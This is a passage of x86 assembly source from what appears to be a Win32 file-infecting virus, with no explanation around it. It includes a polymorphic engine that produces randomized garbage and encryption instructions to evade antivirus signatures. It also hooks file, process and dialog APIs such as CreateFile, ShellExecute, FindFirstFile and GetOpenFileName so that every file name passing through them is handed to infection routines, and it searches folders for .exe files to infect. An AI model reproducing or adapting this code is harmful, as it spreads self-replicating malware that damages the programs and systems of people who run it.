call PolyAddReg32Imm
jmp short VirPolyNextVirPoly_3:
cmp al,PTSUB
jnz short VirPoly_4
;Method sub
call PolySubReg32Imm
jmp short VirPolyNextVirPoly_4:
cmp al,PTROR
jnz short VirPoly_5
;Method ROR
mov dh,8
call PolyRollReg32Imm8
jmp short VirPolyNextVirPoly_5:
cmp al,PTROL
jnz short VirPoly_6
;Method ROL
xor dh,dh
call PolyRollReg32Imm8
jmp short VirPolyNextVirPoly_6:
;Method BSWAP
call PolyBswapReg32
; jmp short VirPolyNextVirPolyNext:
pop edx
pop ecxcall PolyGenGarbage
call PolyGenSafeGarbagecall PolyMovMemReg32
call PolyGenGarbage
dec dword ptr [esp]
jnz VirPolyLooppop ecx
; mov cl,dh
; call PolyCmpReg32_0;sub count reg,4
mov cl,dh
push large 4
pop edx
call PolySubReg32Imm;jnl xxxxxxxx
mov ax,8d0fh
stosw
mov eax,[esp]
sub eax,edi
sub eax,4
stosdpop eax
push edipopad
retn
VirPoly_end:;Param: ebp->PolyVar
; dl=reg for pointer(not ebp,esp),dh=reg for count,the count must be dividable by 4
PolyInitVar:
pushad
xor ecx,ecx
mov [ebp],ecx
mov [ebp+4],ecx
mov bl,1
mov cl,dl
mov [ebp+ecx],bl
movzx ecx,dh
mov [ebp+ecx],bl
popad
retn
PolyInitVar_end:VirPolyHelp:
stc
call PolyGetReg
movzx eax,bl
mov byte ptr [ebp+eax],1
mov cl,bl
push ecx
call PolyMovReg32Mem
pop ecx
retn
VirPolyHelp_end:;Generate some garbage to a buffer
PolyGenGarbageBuffer:
pushad
sub esp,size PolyVar
mov ebp,esp;Make the reg as ebp,ebp,only an address,not useful
mov edx,0505h
call PolyInitVarcall VirGetRand
and eax,0fh
add al,0fh ;15-31 garbage
push eax
PolyGenGarbageBufferLoop:
call PolyGenSafeGarbage
dec dword ptr [esp]
jnz short PolyGenGarbageBufferLooppop eax
add esp,size PolyVar
pop eax
push edipopad
retn
PolyGenGarbageBuffer_end:;Save gargage code generate,can be used in other generation
PolyGenSafeGarbage:
pushadcall VirGetRand
movzx eax,al
and al,7
add al,8 ;8-15 layers garbage code
push eaxPolyGenSafeGarbageLoop:
call VirGetRand
mov edx,eax
and al,0fh
and ah,3 ;common reg
xchg cl,ah ;cl=potential useful regcall PolyGetReg ;bl=garbagereg
;bl=gargage reg,cl=useful regcmp al,PolyGenSafeGarbageMultiNum
jnc PolyGenSafeGarbage_0push ebx
call PolyGenSafeGarbageMulti
PolyGenSafeGarbageMulti_0:
db 11h; adc
db 01h; add
db 21h; and
db 39h; cmp
db 89h; mov
db 09h; or
db 19h; sbb
db 29h; sub
db 31h; xor
PolyGenSafeGarbageMultiNum equ $-PolyGenSafeGarbageMulti_0
PolyGenSafeGarbageMulti:
pop ebx
movzx eax,al
mov al,[ebx+eax]
pop ebx
call PolyOpDirReg1Reg2
jmp short PolyGenSafeGarbageNextPolyGenSafeGarbage_0:
cmp al,PolyGenSafeGarbageMultiNum+0
jnz short PolyGenSafeGarbage_1
;xchg garbagereg,commonreg/xchg garbagereg,commonreg
call PolyXchgReg32Reg
call PolyXchgReg32Reg
jmp short PolyGenSafeGarbageNextPolyGenSafeGarbage_1:
cmp al,PolyGenSafeGarbageMultiNum+1
jnz short PolyGenSafeGarbage_2
test dh,10h
jz short PolyGenSafeGarbage_@11
;jmp forword,short format
mov al,0ebh
stosb
movzx eax,dh
and al,3 ;max forward 3 bytes
stosb
add edi,eax
jmp short PolyGenSafeGarbageNext
PolyGenSafeGarbage_@11:
;call forward/pop gargagereg
mov al,0e8h
stosb
movzx eax,dh
and al,3 ;max forward 3 bytes
stosd
add edi,eax
mov al,58h
or al,bl
stosb
jmp short PolyGenSafeGarbageNextPolyGenSafeGarbage_2:
cmp al,PolyGenSafeGarbageMultiNum+2
jnz short PolyGenSafeGarbage_3
;bswap garbagereg
mov al,0fh
stosb
mov al,0c8h
or al,bl
stosb
jmp short PolyGenSafeGarbageNextPolyGenSafeGarbage_3:
cmp al,PolyGenSafeGarbageMultiNum+3
jnz short PolyGenSafeGarbage_4
;jcc forward
mov al,70h
and dh,0fh
or al,dh
stosb
shr edx,12
mov al,dh
and al,3 ;max 3 bytes
stosb
call PolyGetOneByteGarbage
jmp short PolyGenSafeGarbageNextPolyGenSafeGarbage_4:
cmp al,PolyGenSafeGarbageMultiNum+4
jnz short PolyGenSafeGarbage_5
;test reg,reg
mov al,85h
stosb
mov al,cl
shl al,3
or al,0c0h
or al,bl
stosb
jmp short PolyGenSafeGarbageNextPolyGenSafeGarbage_5:
PolyGenSafeGarbageNext:
dec dword ptr [esp]
jnz PolyGenSafeGarbageLooppop eax
pop eax
push edi
popadretn
PolyGenSafeGarbage_end:;nop,clc,stc,cld,std
;Param: al=code number
PolyGetOneByteGarbage:
push ebx
push eax
PolyGetOneByteGarbageLoop:
or al,al
jz short PolyGetOneByteGarbageRetpush eax
call VirGetRand
xchg eax,ebx
mov al,90h ;nop
test bh,8
jz short PolyGetOneByteGarbage1
mov al,0f8h ;clc
and bl,1
add al,bl ;maybe stc
jmp short PolyGetOneByteGarbageNextPolyGetOneByteGarbage1:
test bh,2
jz short PolyGetOneByteGarbageNext
mov al,0fch ;cld
and bl,1
add al,bl ;maybe std
; jmp short PolyGetOneByteGarbageNextPolyGetOneByteGarbageNext:
stosb
pop eax
dec al
jmp short PolyGetOneByteGarbageLoop
PolyGetOneByteGarbageRet:
pop eax
pop ebx
retn
PolyGetOneByteGarbage_end:;opcode dstreg,srcreg,select two direction
;Param: cl=srcreg,bl=dstreg,al=opcode
PolyOpDirReg1Reg2:
push ebx
push ecx
push eax
call VirGetRand
test al,2
pop eax
jz short PolyOpDirReg1Reg2_1
or al,2
xchg cl,bl
PolyOpDirReg1Reg2_1:
stosb
mov al,cl
shl al,3
or al,0c0h
or al,bl
stosb
pop ecx
pop ebx
retn
PolyOpDirReg1Reg2_end:;xchg reg32,reg32
;Param: cl,bl= reg32
PolyXchgReg32Reg:
call VirGetRand
test al,1
jz short PolyXchgReg32Reg1
;xchg reg,reg
mov al,87h
stosb
mov al,cl
shl al,3
or al,0c0h
or al,bl
stosb
retn
PolyXchgReg32Reg1:
;push reg1/push reg2/pop reg1/pop reg2
mov al,50h
or al,cl
stosb
mov al,50h
or al,bl
stosb
mov al,58h
or al,cl
stosb
mov al,58h
or al,bl
stosb
retn
retn
PolyXchgReg32Reg_end:PolyGenGarbage:
pushadmov esi,edx ;save edx
call VirGetRand
test ah,3
jnz short PolyGenGarbageNotSafe
popad
jmp PolyGenSafeGarbagePolyGenGarbageNotSafe:
movzx eax,al
and al,7
add al,8 ;8-15 layers garbage code
push eaxPolyGenGarbageLoop:
call VirGetRand
mov edx,eax
and al,7
and ah,3 ;common reg
xchg cl,ahcall PolyGetReg ;bl=garbagereg
xchg cl,bl ;cl=gargage reg,bl=useful regcmp al,0
jnz short PolyGenGarbage_1
;mov garbagereg,commonreg
xchg cl,bl
call PolyMovReg32Reg32 ;mov regbl,regcl
jmp short PolyGenGarbageNextPolyGenGarbage_1:
cmp al,1
jnz short PolyGenGarbage_2
;add garbagereg,imm32
call PolyAddReg32Imm
jmp short PolyGenGarbageNextPolyGenGarbage_2:
cmp al,2
jnz short PolyGenGarbage_3
;roll garbagereg,imm8
bswap edx
and dh,8
call PolyRollReg32Imm8
jmp short PolyGenGarbageNextPolyGenGarbage_3:
cmp al,3
jnz short PolyGenGarbage_4
;mov garbagereg,mem
mov edx,esi
call PolyMovReg32Mem
jmp short PolyGenGarbageNextPolyGenGarbage_4:
PolyGenGarbageNext:
dec dword ptr [esp]
jnz PolyGenGarbageLooppop eax
pop eax
push edi
popadretn
PolyGenGarbage_end:if 0
;cmp reg32,0
;Param: cl=reg32
PolyCmpReg32_0:
call VirGetRand
test al,1
jnz short PolyCmpReg32_0_1
;cmp reg32,0
test al,2
jnz short PolyCmpReg32_0_2
;long format
mov al,81h
stosb
mov al,0f8h
or al,cl
stosb
xor eax,eax
stosd
retn
PolyCmpReg32_0_2:
;short format
mov al,83h
stosb
mov al,0f8h
or al,cl
stosb
xor al,al
stosb
retn
PolyCmpReg32_0_1:
;or reg32,reg32
test al,8
mov al,09h
jz short PolyCmpReg32_0_3
mov al,0bh
PolyCmpReg32_0_3:
stosb
mov al,cl
shl al,3
or al,0c0h
or al,cl
stosb
retn
PolyCmpReg32_0_end:
endif;ror/rol reg32,imm8
;Param: cl=reg32,dl=imm8,dh=0 means rol,dh=8 means ror
PolyRollReg32Imm8:
call VirGetRand
cmp dl,1
jnz short PolyRollReg32Imm8_1
test al,1
jz short PolyRollReg32Imm8_1
;ror/rol reg32,1
mov al,0d1h
PolyRollReg32Imm8__help:
stosb
mov al,0c0h
or al,cl
or al,dh
stosb
retnPolyRollReg32Imm8_1:
test al,2
jnz short PolyRollReg32Imm8_2
PolyRollReg32Imm8__help2:
;ror/rol reg32,imm8
mov al,0c1h
call PolyRollReg32Imm8__help
mov al,dl
stosb
retnPolyRollReg32Imm8_2:
;mov tmpreg32,reg32/ror/rol tmpreg32,imm8/mov reg32,tmpreg32
stc
call PolyGetReg
call PolyMovReg32Reg32
xchg bl,cl
call PolyRollReg32Imm8__help2
call PolyMovReg32Reg32
retn
PolyRollReg32Imm8_end:;bswap reg32
;Param: cl=reg32
PolyBswapReg32:
call VirGetRand
test al,1
jnz short PolyBswapReg32_1
;bswap reg32
PolyBswapReg32_0:
mov al,0fh
stosb
mov al,0c8h
or al,cl
stosb
retn
PolyBswapReg32_1:
;mov tmpreg32,reg32/bswap tmpreg32/mov reg32,tmpreg32
stc
call PolyGetReg
call PolyMovReg32Reg32
xchg bl,cl
call PolyBswapReg32_0
call PolyMovReg32Reg32
retn
PolyBswapReg32_end:;xor reg32,imm32
;Param: cl=reg32,edx=imm32
PolyXorReg32Imm:
call VirGetRand
test al,1
jz short PolyXorReg32Imm1
;xor reg32,imm32
mov al,81h
stosb
mov al,0f0h
or al,cl
stosb
mov eax,edx
stosd
retn
PolyXorReg32Imm1:
;mov tmpreg32,imm32/xor reg32,tmp32
stc
call PolyGetReg
xchg bl,cl
call PolyMovReg32Imm
mov al,33h
stosb
mov al,bl
shl al,3
or al,0c0h
or al,cl
stosb
retn
PolyXorReg32Imm_end:;add ret32,imm32
;Param: cl=reg32,edx=imm32
PolyAddReg32Imm:
call VirGetRand
cmp edx,1;can be inc reg32?
jnz short PolyAddReg32Imm1
test al,8
jz short PolyAddReg32Imm1
;inc reg32
mov al,40h
or al,cl
stosb
retnPolyAddReg32Imm1:
test al,1
jnz short PolyAddReg32Imm2
;mov tmpreg32,imm32/add reg32,tmpreg32
stc
call PolyGetReg
xchg bl,cl
call PolyMovReg32Imm
mov al,3
stosb
mov al,bl
shl al,3
or al,0c0h
or al,cl
stosb
retnPolyAddReg32Imm2:
test al,10h
jz short PolyAddReg32Imm3
;add reg32,imm
mov al,81h
stosb
mov al,0c0h
or al,cl
stosb
mov eax,edx
stosd
retnPolyAddReg32Imm3:
;or reg32,reg32/adc reg32,imm
mov bl,cl
mov al,09h
call PolyOpDirReg1Reg2
mov al,81h
stosb
mov al,0d0h
or al,cl
stosb
mov eax,edx
stosd
retn
PolyAddReg32Imm_end:;sub ret32,imm32
;Param: cl=reg32,edx=imm32
PolySubReg32Imm:
call VirGetRand
cmp edx,1;can be dec reg32?
jnz short PolySubReg32Imm1
test al,8
jz short PolySubReg32Imm1
;dec reg32
mov al,48h
or al,cl
stosb
retnPolySubReg32Imm1:
test al,1
jnz short PolySubReg32Imm2
;add reg32,neg imm
neg edx
jmp short PolyAddReg32Imm1PolySubReg32Imm2:
;sub reg32,imm
mov al,81h
stosb
mov al,0e8h
or al,cl
stosb
mov eax,edx
stosd
retn
PolySubReg32Imm_end:;mov ret32,imm32
;Param: cl=reg32,edx=imm32
PolyMovReg32Imm:
call VirGetRand
test al,1
jz short PolyMovReg32Imm1
;mov reg32,imm32
mov al,0b8h
or al,cl
stosb
mov eax,edx
stosd
retnPolyMovReg32Imm1:
;push imm32/pop reg32
mov al,68h
stosb
mov eax,edx
stosd
mov al,58h
or al,cl
stosb
retn
PolyMovReg32Imm_end:;mov reg32,[reg of dl(source) + reg of bh(count)]
;Param: cl=reg32
PolyMovReg32Mem:
call VirGetRand
test al,3
jz short PolyMovReg32Mem1
;mov tmpreg8,mem/mov reg8,tmpreg
clc
call PolyGetReg
xchg cl,bl
call PolyMovReg32Mem3 ;mov tmpre32,mem
;Now cl=tmpreg,bl=reg
call PolyMovReg32Reg32
retnPolyMovReg32Mem1:
test al,4
jnz short PolyMovReg32Mem2
PolyMovReg32Mem3:
;mov reg8,mem
mov al,8bh
call PolyMovMemHelp
retnPolyMovReg32Mem2:
;push mem/pop reg
mov ax,034ffh
stosw
mov al,dh
shl al,3
or al,dl ;SIB
stosb
mov al,cl ;pop reg
or al,58h
stosb
retn
PolyMovReg32Mem_end:;mov [reg of dl(source) + reg of bh(count)],reg32
;Param: cl=reg32
PolyMovMemReg32:
call VirGetRand
test al,3
jz short PolyMovMemReg32_1
;mov tmpreg,reg/mov mem32,tmpreg
clc
call PolyGetReg
;cl=reg32,bl=tmpreg32
call PolyMovReg32Reg32
xchg bl,cl
;cl=reg32,bl=tmpreg32PolyMovMemReg32_1:
test al,4
jz short PolyMovMemReg32__2
;mov mem32,reg32
mov al,89h
call PolyMovMemHelp
retnPolyMovMemReg32__2:
;push reg32/pop mem32
mov al,50h
or al,cl
stosb
mov ax,048fh
stosw
mov al,dh
shl al,3
or al,dl ;SIB
stosb
retn
PolyMovMemReg32_end:;For mov mem32,reg or mov reg,mem32
;Param: al=the first byte,89h-mov mem32,reg,8bh-mov reg,mem32
PolyMovMemHelp:
stosb
mov al,cl
shl al,3
or al,4
stosb ;mod/reg/rm
mov al,dh
shl al,3
or al,dl ;SIB
stosb
retn
PolyMovMemHelp_end:;mov reg32,[reg of dl(source) + reg of bh(count)]
;Param: cl=source reg32,bl=dest reg32
PolyMovReg32Reg32:
call VirGetRand
test al,1
jz short PolyMovReg32Reg32_1
;mov dstreg32,srcreg32
test al,8
jz short PolyMovReg32Reg32_2
;reg1 to reg2
mov al,89h
stosb
mov al,cl
shl al,3
or al,0c0h
or al,bl
stosb
retnPolyMovReg32Reg32_2:
;reg2 to reg1
mov al,8bh
stosb
mov al,bl
shl al,3
or al,0c0h
or al,cl
stosb
retnPolyMovReg32Reg32_1:
;push srcreg32/pop dstreg32
mov al,50h
or al,cl
stosb
mov al,58h
or al,bl
stosb
retn
PolyMovReg32Reg32_end:;Param: ebp->PolyVar,CF=0: use only common reg,CF=1: use all reg
;Return: bl=reg,bh won't be affect
PolyGetReg:
push eax
push edx
push ecxsetc cl
shr cl,2
add cl,3call VirGetRand
movzx edx,al
and dl,cl
dec dl
PolyGetRegLoop:
inc dl
and dl,cl
cmp dl,4 ;is esp?
jz short PolyGetRegLoop
cmp dl,5 ;is ebp?
jz short PolyGetRegLoop
cmp byte ptr [ebp+edx],dh ;dh=0
jnz short PolyGetRegLoop
mov bl,dlpop ecx
pop edx
pop eax
retn
PolyGetReg_end:;Param: al=last poly type
;Return: al=poly type
PolyGetType:
push edxmov dh,al
call VirGetRand
xor ah,ah ;avoid overflow error
mov dl,PTNUM
div dlmov al,ah
pop edx
retn
PolyGetType_end:;Return: eax=random number
VirGetRand:
pushad
call VirGetRandIP
VirGetRandIP:
pop ebp
call [ebp+addrGetTickCount-VirGetRandIP]
mov ecx,12345678h
RandSeed equ $-4
add eax,ecx
rol ecx,1
add ecx,esp
add [ebp+RandSeed-VirGetRandIP],ecx
push large 32
pop ecx
VirGetRand1:
shr eax,1
jnc VirGetRand2
xor eax,0ED388320h
VirGetRand2:
loop VirGetRand1
mov [esp+7*4],eaxpopad
retn
get_rand_end:;Try to set GetOpenFileName hook
;Param: esi->OPENFILENAME, edi->address of hook procedure
HookGetOpenFileNameTryHook:
mov ecx,[esi].OPENFILENAME.Flags
test ecx,OFN_ENABLEHOOK
jnz short HookGetOpenFileNameTryHookRet
test ecx,OFN_EXPLORER
jz short HookGetOpenFileNameTryHookRet
or [esi].OPENFILENAME.Flags,OFN_ENABLEHOOK
mov [esi].OPENFILENAME.lpfnHook,edi
HookGetOpenFileNameTryHookRet:
retn
HookGetOpenFileNameTryHook_end:;Try to release GetOpenFileName hook
;Param: esi->OPENFILENAME, edi->address of hook procedure
HookGetOpenFileNameUnhook:
cmp [esi].OPENFILENAME.lpfnHook,edi
jnz short HookGetOpenFileNameUnhookRet
and [esi].OPENFILENAME.Flags,not OFN_ENABLEHOOK
mov [esi].OPENFILENAME.lpfnHook,0
HookGetOpenFileNameUnhookRet:
retn
HookGetOpenFileNameUnhook_end:HookGetOpenFileNameHookA:
cmp dword ptr [esp+4+4],WM_NOTIFY ;uiMsg
jnz short HookGetOpenFileNameHookARet
mov eax,[esp+4+4*3] ;lParam
cmp dword ptr [eax+8],CDN_FOLDERCHANGE
jnz short HookGetOpenFileNameHookARet
mov eax,[esp+4]pushad
call HookGetOpenFileNameHookAIP
HookGetOpenFileNameHookAIP:
pop ebppush eax
call [ebp+addrGetParent-HookGetOpenFileNameHookAIP]sub esp,1000
mov edi,esp
push edi
push 500
push CDM_GETFOLDERPATH
push eax
call [ebp+addrSendMessageA-HookGetOpenFileNameHookAIP]
cmp eax,0
jle short HookGetOpenFileNameHookAFail
cmp byte ptr [edi+1],0
jz short HookGetOpenFileNameHookAWide
call TrySearchPath
jmp short HookGetOpenFileNameHookAFail
HookGetOpenFileNameHookAWide:
call TrySearchPathWide
HookGetOpenFileNameHookAFail:
add esp,1000
popadHookGetOpenFileNameHookARet:
xor eax,eax
retn 16
HookGetOpenFileNameHookA_end:HookGetSaveFileNameA:
pushad
pushfd
call HookGetSaveFileNameAIP
HookGetSaveFileNameAIP:
pop ebxmov eax,[ebx+addrGetSaveFileNameA-HookGetSaveFileNameAIP]
lea ebp,[ebx+HookGetOpenFileNameAIP-HookGetSaveFileNameAIP]
jmp short HookGetOpenFileNameA_1
HookGetSaveFileNameA_end:HookGetSaveFileNameW:
pushad
pushfd
call HookGetSaveFileNameWIP
HookGetSaveFileNameWIP:
pop ebxmov eax,[ebx+addrGetSaveFileNameW-HookGetSaveFileNameWIP]
lea ebp,[ebx+HookGetOpenFileNameWIP-HookGetSaveFileNameWIP]
jmp short HookGetOpenFileNameW_1
HookGetSaveFileNameW_end:HookGetOpenFileNameA:
pushad
pushfd
call HookGetOpenFileNameAIP
HookGetOpenFileNameAIP:
pop ebpmov eax,[ebp+addrGetOpenFileNameA-HookGetOpenFileNameAIP]
HookGetOpenFileNameA_1:
mov esi,[esp+9*4+4]lea edi,[ebp+HookGetOpenFileNameHookA-HookGetOpenFileNameAIP]
call HookGetOpenFileNameTryHookpush esi
call eaxmov [esp+4+7*4],eax
call HookGetOpenFileNameUnhook
popfd
popad
retn 4
HookGetOpenFileNameA_end:HookGetOpenFileNameW:
pushad
pushfd
call HookGetOpenFileNameWIP
HookGetOpenFileNameWIP:
pop ebpmov eax,[ebp+addrGetOpenFileNameW-HookGetOpenFileNameWIP]
HookGetOpenFileNameW_1:
mov esi,[esp+9*4+4]lea edi,[ebp+HookGetOpenFileNameHookA-HookGetOpenFileNameWIP]
call HookGetOpenFileNameTryHookpush esi
call eax
mov [esp+4+7*4],eaxcall HookGetOpenFileNameUnhook
popfd
popad
retn 4
HookGetOpenFileNameW_end:HookLoadLibraryA:
pushad
pushfd
call HookLoadLibraryAIP
HookLoadLibraryAIP:
pop ebpmov esi,[esp+9*4+4]
push esi
call [ebp+addrLoadLibraryA-HookLoadLibraryAIP]
mov [esp+4+7*4],eax
or eax,eax
jz short HookLoadLibraryARetmov edi,1000
sub esp,edi
mov edx,esp
push edi
push edx
push eax
call HookGetModuleFileNameA
add esp,edi
HookLoadLibraryARet:
popfd
popad
retn 4
HookLoadLibraryA_end:HookLoadLibraryW:
pushad
pushfd
call HookLoadLibraryWIP
HookLoadLibraryWIP:
pop ebpmov esi,[esp+9*4+4]
push esi
call [ebp+addrLoadLibraryW-HookLoadLibraryWIP]
mov [esp+4+7*4],eax
or eax,eax
jz short HookLoadLibraryWRetmov edi,1000
sub esp,edi
mov edx,esp
push large 500
push edx
push eax
call HookGetModuleFileNameW
add esp,edi
HookLoadLibraryWRet:
popfd
popad
retn 4
HookLoadLibraryW_end:HookGetModuleFileNameA:
pushad
pushfd
call HookGetModuleFileNameAIP
HookGetModuleFileNameAIP:
pop ebpmov esi,[esp+9*4+4]
mov edi,[esp+9*4+4+4]
mov eax,[esp+9*4+4+4+4]
push eax
push edi
push esi
call [ebp+addrGetModuleFileNameA-HookGetModuleFileNameAIP]
mov [esp+4+7*4],eax
or eax,eax
jz short HookGetModuleFileNameARetcall TrySearchFile
HookGetModuleFileNameARet:
popfd
popad
retn 12
HookGetModuleFileNameA_end:HookGetModuleFileNameW:
pushad
pushfd
call HookGetModuleFileNameWIP
HookGetModuleFileNameWIP:
pop ebpmov esi,[esp+9*4+4]
mov edi,[esp+9*4+4+4]
mov eax,[esp+9*4+4+4+4]
push eax
push edi
push esi
call [ebp+addrGetModuleFileNameW-HookGetModuleFileNameWIP]
mov [esp+4+7*4],eax
or eax,eax
jz short HookGetModuleFileNameWRetxchg edi,edx
call InfectFileWide
HookGetModuleFileNameWRet:
popfd
popad
retn 12
HookGetModuleFileNameW_end:HookGetCurrentDirectoryA:
pushad
pushfdcall HookGetCurrentDirectoryAIP
HookGetCurrentDirectoryAIP:
pop ebpmov esi,[esp+9*4+4]
mov edi,[esp+9*4+4+4]
push edi
push esi
call [ebp+addrGetCurrentDirectoryA-HookGetCurrentDirectoryAIP]
mov [esp+4+7*4],eax
or eax,eax
jz short HookGetCurrentDirectoryARetcall TrySearchPath
HookGetCurrentDirectoryARet:
popfd
popad
retn 8
HookGetCurrentDirectoryA_end:HookGetCurrentDirectoryW:
pushad
pushfdcall HookGetCurrentDirectoryWIP
HookGetCurrentDirectoryWIP:
pop ebpmov esi,[esp+9*4+4]
mov edi,[esp+9*4+4+4]
push edi
push esi
call [ebp+addrGetCurrentDirectoryW-HookGetCurrentDirectoryWIP]
mov [esp+4+7*4],eax
or eax,eax
jz short HookGetCurrentDirectoryWRetcall TrySearchPathWide
HookGetCurrentDirectoryWRet:
popfd
popad
retn 8
HookGetCurrentDirectoryW_end:HookSetCurrentDirectoryA:
pushad
pushfdcall HookSetCurrentDirectoryAIP
HookSetCurrentDirectoryAIP:
pop ebpmov edi,[esp+9*4+4]
push edi
call [ebp+addrSetCurrentDirectoryA-HookSetCurrentDirectoryAIP]
mov [esp+4+7*4],eax
or eax,eax
jz short HookSetCurrentDirectoryARetcall TrySearchPath
HookSetCurrentDirectoryARet:
popfd
popad
retn 4
HookSetCurrentDirectoryA_end:HookSetCurrentDirectoryW:
pushad
pushfdcall HookSetCurrentDirectoryWIP
HookSetCurrentDirectoryWIP:
pop ebpmov edi,[esp+9*4+4]
push edi
call [ebp+addrSetCurrentDirectoryW-HookSetCurrentDirectoryWIP]
mov [esp+4+7*4],eax
or eax,eax
jz short HookSetCurrentDirectoryWRetcall TrySearchPathWide
HookSetCurrentDirectoryWRet:
popfd
popad
retn 4
HookSetCurrentDirectoryW_end:HookFindFirstFileA:
pushad
pushfdcall HookFindFirstFileAIP
HookFindFirstFileAIP:
pop ebpmov esi,[esp+9*4+4]
mov edi,[esp+9*4+4+4]
push edi
push esi
call [ebp+addrFindFirstFileA-HookFindFirstFileAIP]
mov [esp+4+7*4],eax
inc eax
jz short HookFindFirstFileARetadd edi,4*11 ;edi->cFileName
push esi
call HookFindHelp
pop edicall TrySearchFile
HookFindFirstFileARet:
popfd
popadretn 8
HookFindFirstFileA_end:;Param: esi->lpFileName,edi->cFileName of WIN32_FIND_DATA
HookFindHelp:
sub esp,2000
xchg ebx,edi
mov edi,esp
mov edx,edicall VirExtractPath
mov edi,ecx
mov esi,ebx
HookFindHelpLoop2:
lodsb
stosb
or al,al
jnz short HookFindHelpLoop2mov edi,edx
call InfectFileHookFindHelpRet:
add esp,2000
retn
HookFindHelp_end:HookFindFirstFileW:
pushad
pushfdcall HookFindFirstFileWIP
HookFindFirstFileWIP:
pop ebpmov esi,[esp+9*4+4]
mov edi,[esp+9*4+4+4]
push edi
push esi
call [ebp+addrFindFirstFileW-HookFindFirstFileWIP]
mov [esp+4+7*4],eax
inc eax
jz short HookFindFirstFileWRetadd edi,4*11 ;edi->cFileName
call HookFindHelpWideHookFindFirstFileWRet:
popfd
popadretn 8
HookFindFirstFileW_end:;Param: esi->lpFileName,edi->cFileName of WIN32_FIND_DATA
HookFindHelpWide:
sub esp,2000
mov edx,esi
xchg ecx,edi
mov edi,esp
call UnicodeToAnsimov esi,edi
mov edx,ecx
add edi,1000
call UnicodeToAnsipush esi
call HookFindHelp
pop edicall TrySearchFile
add esp,2000
retn
HookFindHelpWide_end:HookMoveFileExA:
push eax
pushad
pushfdmov edx,addrMoveFileExA-HookBaseIP
jmp short HookMoveFileA_1
HookMoveFileExA_end:HookMoveFileExW:
push eax
pushad
pushfdmov edx,addrMoveFileExW-HookBaseIP
jmp short HookMoveFileW_1
HookMoveFileExW_end:HookCopyFileExA:
push eax
pushad
pushfdmov edx,addrCopyFileExA-HookBaseIP
jmp short HookMoveFileA_1
HookCopyFileExA_end:HookCopyFileExW:
push eax
pushad
pushfdmov edx,addrCopyFileExW-HookBaseIP
jmp short HookMoveFileW_1
HookCopyFileExW_end:HookCopyFileA:
push eax
pushad
pushfdmov edx,addrCopyFileA-HookBaseIP
jmp short HookMoveFileA_1
HookCopyFileA_end:HookCopyFileW:
push eax
pushad
pushfdmov edx,addrCopyFileW-HookBaseIP
jmp short HookMoveFileW_1
HookCopyFileW_end:HookMoveFileA:
push eax
pushad
pushfdmov edx,addrMoveFileA-HookBaseIP
HookMoveFileA_1:
mov edi,[esp+10*4+4]
call InfectFileAnsijmp short HookReturn
HookMoveFileA_end:HookMoveFileW:
push eax
pushad
pushfdmov edx,addrMoveFileW-HookBaseIP
HookMoveFileW_1:
push edx
mov edx,[esp+10*4+4+4]
call InfectFileWide
pop edxjmp short HookReturn
HookMoveFileW_end:HookShellExecuteExA:
push eax
pushad
pushfdmov edi,[esp+10*4+4]
or edi,edi
jz short HookShellExecuteExARet
mov edi,[edi+4*4]
call InfectFileAnsiHookShellExecuteExARet:
mov edx,addrShellExecuteExA-HookBaseIP
jmp short HookReturn
HookShellExecuteExA_end:HookShellExecuteExW:
push eax
pushad
pushfdmov edx,[esp+10*4+4]
or edx,edx
jz short HookShellExecuteExWRet
mov edx,[edx+4*4]
call InfectFileWideHookShellExecuteExWRet:
mov edx,addrShellExecuteExA-HookBaseIP
jmp short HookReturn
HookShellExecuteExW_end:HookCreateFileA:
push eax
pushad
pushfdmov edi,[esp+10*4+4]
call InfectFileAnsimov edx,addrCreateFileA-HookBaseIP
HookReturn:
call HookCreateFileAIP
HookCreateFileAIP:
HookBaseIP equ HookCreateFileAIP
pop edimov eax,[edi+edx]
mov [esp+4*9],eaxpopfd
popad
retn
HookCreateFileA_end:HookCreateFileW:
push eax
pushad
pushfdmov edx,addrCreateFileW-HookBaseIP
jmp short HookMoveFileW_1
HookCreateFileW_end:HookCreateProcessA:
push eax
pushad
pushfdmov edx,addrCreateProcessA-HookBaseIP
jmp HookMoveFileA_1
HookCreateProcessA_end:HookCreateProcessW:
push eax
pushad
pushfdmov edx,addrCreateProcessW-HookBaseIP
jmp HookMoveFileW_1
HookCreateProcessW_end:HookShellExecuteA:
push eax
pushad
pushfdmov edi,[esp+10*4+4+2*4]
call InfectFileAnsimov edx,addrShellExecuteA-HookBaseIP
jmp short HookReturn
HookShellExecuteA_end:HookShellExecuteW:
push eax
pushad
pushfdmov edx,[esp+10*4+4+2*4]
call InfectFileWidemov edx,addrShellExecuteW-HookBaseIP
jmp short HookReturn
HookShellExecuteW_end:;Infect file with ansi file name,only a wrapper of InfectFile
;Param: edi->ansi file name
InfectFileAnsi:
pushad
call InfectFile
call TrySearchFile
popad
retn
InfectFileAnsi_end:;Infect file with unicode file name
;Param: edx->unicode file name
InfectFileWide:
mov esi,512
sub esp,esi
mov edi,espcall UnicodeToAnsi
call InfectFilecall TrySearchFile
add esp,esi
retn
InfectFileWide_end:;Param: edx->unicode string,edi->dest ansi buffer(at leaset 512 bytes)
UnicodeToAnsi:
push ecxpush large 0
push large 0
push large 512
push edi ;lpMultiByteStr
push -1
push edx
push large 200h ;WC_COMPOSITECHECK
push large 0 ;CP_ACP
call UnicodeToAnsiIP
UnicodeToAnsiIP:
pop eax
call [eax+addrWideCharToMultiByte-UnicodeToAnsiIP]pop ecx
retn
UnicodeToAnsi_end:;Search path
;Param: edi->Path
TrySearchPath:
sub esp,1000cld
mov esi,edi
mov edi,esp
TrySearchPathLoop:
lodsb
stosb
or al,al
jnz short TrySearchPathLoopTrySearchPath_Help:
dec edi
cmp byte ptr [edi-1],'/'
jz short TrySearchPath_1
mov al,'/'
stosb
TrySearchPath_1:
mov eax,'0fck' and 0ffffffh
stosd
mov edi,esp
call TrySearchFileadd esp,1000
retn
TrySearchPath_end:;Param: edi->unicode path
TrySearchPathWide:
sub esp,1000mov edx,edi
mov edi,esp
call UnicodeToAnsi
add edi,eaxjmp short TrySearchPath_Help
TrySearchPathWide_end:;Extract the file path,then search it
;Param: edi->file name
TrySearchFile:
call CanSearch
jnz short TrySearchFileRetpushad
call TrySearchFileIP
TrySearchFileIP:
pop ebx
lea esi,[ebx+PathBuf-TrySearchFileIP]
xchg esi,edicall VirExtractPath
mov edi,ecx
mov eax,'xe.*'
stosd
mov eax,'000e' and 0ffh
stosdpush dword ptr [ebx+VirEventHandle-TrySearchFileIP]
call [ebx+addrSetEvent-TrySearchFileIP]popad
TrySearchFileRet:
retn
